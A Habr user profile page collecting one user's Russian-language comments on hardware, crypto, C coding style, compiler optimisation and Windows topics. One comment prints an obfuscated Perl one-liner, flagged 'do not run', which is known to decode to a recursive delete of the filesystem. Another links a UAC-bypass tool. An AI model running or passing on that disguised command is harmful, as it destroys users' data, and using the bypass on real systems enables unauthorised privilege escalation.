Pull to refresh
4
0
Глеб@zanzack

User

Send message

Может китайцы не такие уж и ушлые были - посмотрели, что CPU-Z выдает 7350U и напечатали это на коробке, а теперь их обвиняют в подлоге.

https://life.ru/p/1839944

Там также говорится, что мужчина «оставил одобрительные комментарии» под видео на каналах, принадлежащих иноагентам.

Короче, там не только лайки были. Лайки отследить анрил.

компания не прибегает к процедурной генерации для этого

Неужели в ГТА координаты каждой пылинки, каждой травинки где-то хранятся и подкачиваются с диска?

https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC
To execute code via "iscsicpl.exe" as autoelevate is enabled

Чтобы появились новые профессии - киберпсихолог и киберпсихиатр.

Please do not shut down what is still working today. At the very least, preserve the current status quo.

Папа, папа не надо меня шлёпать. Но папа-комиссар вынул маузер и шлёпнул сына.

 Это гораздо хуже, чем эта ваша крипта

Я совсем не разбираюсь в крипте, но всегда считал, что это был первый шаг к ИИ, то есть условный Скайнет изобрёл крипту и подкинул эту замаскированную идею жаждущему денег человечеству якобы для заработка, а на самом деле чтобы люди построили вычислительные мощности и туда переселился бы Скайнет.

Насколько востребованы криптофабрики для нужд ИИ или там только хеши можно считать?

Что делать - терпеливо ждать, пока не укоренится привычка к новым ценам.
Реальный случай - есть у меня 1Тб SSD, хочу продать за 10к.
Покупатели звонят - почему так дорого?
- Я его брал за 6к, цену поэтому выставил 10, а везде они уже по 15-18.
- 10 дорого и бросают трубку.
Вывод - к ценам пока не привыкли.

Да кому нужен этот curl, когда есть aria2 - the next generation download utility
https://aria2.github.io/

Линус Торвальдс вообще человек со странностями, у меня создалось впечатление, что он и на Си-то писать нормально не умеет, хотя казалось бы, он этим занимается 40 лет.

Рассмотрим видео -

https://www.youtube.com/watch?v=78Y17hAo96I

В котором Торвальдс сравнивает два Си кода, первый фрагмент он всячески третирует:

remove_list_entry(entry)
{
	prev = NULL;
	walk = head;

	// Walk the list

	while (walk != entry) {
		prev = walk;
		walk = walk->next;
	}

	// Remove the entry by updating the
	// head or the previous entry

	if (!prev)
		head = entry->next;
	else
		prev->next = entry->next;
}

а второй называет "Taste code" - вкусный код:

remove_list_entry(entry)
{
	// The "indirect" pointer points to the
    // *address* of the thing we'll update

    indirect = &head;

    // Walk the list, looking for the thing that
    // points to the entry we ant to remove

    while ((*indirect) != entry)
    	indirect = &(*indirect)->next;

    // .. and just remove it

    *indirect = entry->next;
}

На мой взгляд, второй какой-то сплошный костыль и боль.
Первый читается как книга, второй как мусорный бачок.

В своё время меня поразил такой трюк.
Рассмотрим программу на С для деления чисел на константу 450 (файл main.cpp)
На самом деле подойдёт любая константа, необязательно 450.

#include <stdio.h>
#include <stdint.h>

uint64_t div450(uint64_t a)
{
	return a/450;
}

int main(void)
{
   uint64_t a;
   scanf("%lld", &a);
   printf("result = %lld\n", div450(a));
   return 0;
}

Компилируем с опцией -O2

call "C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build\vcvars64.bat"
cl.exe -O2 main.cpp

Смотрим, что получилось -

.00000001`40001024: 488D542430                  lea          rdx,[rsp][030]
.00000001`40001029: 488D0D00B30100              lea          rcx,[00000001`4001C330] ;'%lld'
.00000001`40001030: E89B000000                  call        .00000001`400010D0  ;scanf
.00000001`40001035: 488B4C2430                  mov          rcx,[rsp][030]
.00000001`4000103A: 48B813F0CDAB89674523        mov          rax,23456789`ABCDF013
.00000001`40001044: 48F7E1                      mul          rcx
.00000001`40001047: 482BCA                      sub          rcx,rdx
.00000001`4000104A: 48D1E9                      shr          rcx,1
.00000001`4000104D: 4803D1                      add          rdx,rcx
.00000001`40001050: 488D0DE1B20100              lea          rcx,[00000001`4001C338] ;'result = %lld'
.00000001`40001057: 48C1EA08                    shr          rdx,8
.00000001`4000105B: E810000000                  call        .00000001`40001070 ;printf
.00000001`40001060: 33C0                        xor          eax,eax
.00000001`40001062: 4883C428                    add          rsp,028 ;'('
.00000001`40001066: C3                          retn

Деление на 450 превращается... превращается...
В элегантное умножение на 0x23456789ABCDF013 (плюс еще некоторые трюки).
Но красиво же!
И быстрее работает - умножение быстрее деления.

при необходимости можно будет быстро и централизованно отключить от всех сетей, если оно украдено

IMEI это же как MAC, его можно легко перешить, как тогда определить краденое оно или серое

ИИ научили запускать скрипты? Так в чем тогда принципиальное отличие ИИ от script-kiddies?

Данное расширение всё ещё доступно к скачиванию через магазин Chrome.
И там не только ChatGPT перехватывается, вот полный список, неплохо постарались.

chatgpt.js
claude.js
copilot.js
deepseek.js
facebook.js
frame.js
gemini.js
grok.js
insta.js
linkedin.js
meta.js
perplexity.js
pinterest.js
reddit.js
tiktok.js
traffic.js
twitch.js
twitter.js

Что будет с буквой ё ? В словарях есть слово козлёнок, но нет козленок.
Если я развожу козлят, но у них нет ё, штрафы грозят?

Тоже самое видимо, для ребёнок и котёнок.

Пусть разработчики винды и игр оптимизируют свой код, чтобы всё летало на 4гБ памяти - а 8 оставим для энтузиастов. А чтобы этого достичь, пусть берут себе AI в помощники, недаром на AI столько оперативы потратили, хоть какой-то выхлоп будет, кроме нейрослопа.

#!/bin/bash
#Не запускать! Только для прочтения глазами
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Такой код тоже объяснить сможет? Осторожно, не запускать! Взято здесь
https://www.linux.org.ru/forum/development/392747/page5

Надо в /etc/hosts прописать правильный ipv4, ну "тот, который раньше с ними был".
Или по ipv6 работает "из коробки", AAAA запись в dns они оставили.

Видимо, файлы не удаляли, а сделали "быстрый" формат. При это затирается только MBR/GPT и бутсектор. А если и удаляли, то забыли "корзину" почистить, в этом случае до TRIM дело не дошло.

Так это сделано по просьбам трудящихся, вдруг винда слетит, а трудящиеся ключ не то что не забекапили, они про него и знать не знали.

Information

Rating
Does not participate
Registered
Activity